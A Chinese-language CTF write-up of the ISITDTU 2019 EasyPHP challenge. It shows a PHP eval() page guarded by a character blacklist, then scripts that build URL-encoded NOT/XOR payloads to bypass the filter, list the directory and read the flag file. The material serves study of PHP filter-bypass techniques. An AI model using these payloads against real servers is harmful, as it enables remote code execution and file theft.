ISITDTU-2019-EasyPHP

摘要
取反、异或、bypass、rce


源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

\x00- 0-9 匹配\x00到空格(\x20),0-9的数字
‘“`$&.,|[{_defgops 匹配这些字符
\x7F 匹配DEL(\x7F)字符

同时要求使用的符号不得超过16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$ok = [];
$s = 'phpinfo();';
$match = '/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i';

for($i = 0;$i <255;$i++){
$char = chr($i);

if(!preg_match($match, $char)){
$ok[$i] = $char;
}
}
print_r($ok);

查可用的字符

1
2
3
4
5
6
7
8
9
10
<?php

$array=get_defined_functions();//返回所有内置定义函数
$match = '/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i';

foreach($array['internal'] as $arr){
if ( preg_match($match, $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.PHP_EOL);
}

可直接使用的函数

很少,还是要根据取反的思路来构造。没有限制字符串总长度,可以肆意构造

绕过

接下来绕过字符数

除去() ; ^ %ff,可用字符只有9种

比如我们构造:

1
2
((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
//print_r(scandir(.))

此时使用字符有16种,我们需要通过反复异或来用其他字符表示这三个字符:

1
2
3
4
首先: a^a^a = a
若: c^d^i = n
则: ~n = ~c^d^i => n^0xff = c^d^i^0xff
其他字符: a^a^a^0xff = a^0xff = a^0xff^0xff^0xff

所以我们指定规则,对要替换的字符找三个异或字符串(不影响其他字符),后再构造一次异或,就可以替换指定字符。

规则脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: utf-8 -*-
from __future__ import print_function

str = 'scdeafle'
target = 'nir'

for m in target:
for a in str:
for b in str:
for c in str:
if ord(a)^ord(b)^ord(c) == ord(m):
print("{} = {}^{}^{}".format(m, a, b, c), end="")
print(" ---> "+"%{:x} = %{:x} ^ %{:x} ^ %{:x}".format(ord(m)^255, ord(a)^255, ord(b)^255, ord(c)^255),end="")
print(" ===> "+"'{}',['{}','{}','{}']".format(m,a,b,c))

image-20210903114357978

字符串生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
//@inanb
class rep
{
public $t;
public $e1;
public $e2;
public $e3;
public function __construct($target,$arry)
{
$this->t = $target;
$this->e1 = $arry[0];
$this->e2 = $arry[1];
$this->e3 = $arry[2];
}
}
function fullescape($in)
{
$out = '';
for ($i=0;$i<strlen($in);$i++)
{
$hex = dechex(ord($in[$i]));
if ($hex=='')
$out = $out.urlencode($in[$i]);
else
$out = $out .'%'.((strlen($hex)==1) ? ('0'.strtoupper($hex)):(strtoupper($hex)));
}
$out = str_replace('+','%20',$out);
$out = str_replace('_','%5F',$out);
$out = str_replace('.','%2E',$out);
$out = str_replace('-','%2D',$out);
return $out;
}

$str = "scandir"; $len = strlen($str); $str1 = $str2 = $str3 = $str;
$xor = str_repeat("%ff", $len);

$mode1 = new rep('n',['c','a','l']);
$mode2 = new rep("i",["c","f","l"]);
$mode3 = new rep("r",["s","d","e"]);

$str1 = str_replace($mode1->t,$mode1->e1,$str1);$str2 = str_replace($mode1->t,$mode1->e2,$str2);$str3 = str_replace($mode1->t,$mode1->e3,$str3);
$str1 = str_replace($mode2->t,$mode2->e1,$str1);$str2 = str_replace($mode2->t,$mode2->e2,$str2);$str3 = str_replace($mode2->t,$mode2->e3,$str3);
$str1 = str_replace($mode3->t,$mode3->e1,$str1);$str2 = str_replace($mode3->t,$mode3->e2,$str2);$str3 = str_replace($mode3->t,$mode3->e3,$str3);

echo '(('.fullescape(~$str1).')^('.fullescape(~$str2).')^('.fullescape(~$str3).')^('.$xor.'))';

写得有点粗糙🤣,添加规则需要加mode,并对三个字串再处理一下

目录下有一个flag文件

1
2
//readfile(end(scandir(.))) end返回数组最后一个元素
((%8C%9A%9E%9B%99%9C%93%9A)^(%9B%9A%9E%9B%99%99%93%9A)^(%9A%9A%9E%9B%99%93%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9A%9C%9B)^(%9A%9E%9B)^(%9A%93%9B)^(%ff%ff%ff))(((%8C%9C%9E%9C%9B%9C%8C)^(%8C%9C%9E%9E%9B%99%9B)^(%8C%9C%9E%93%9B%93%9A)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
image-20210903115014297

参考文章:
参考链接

作者

inanb

发布于

2021-09-03

更新于

2021-09-03

许可协议


:D 一言句子获取中...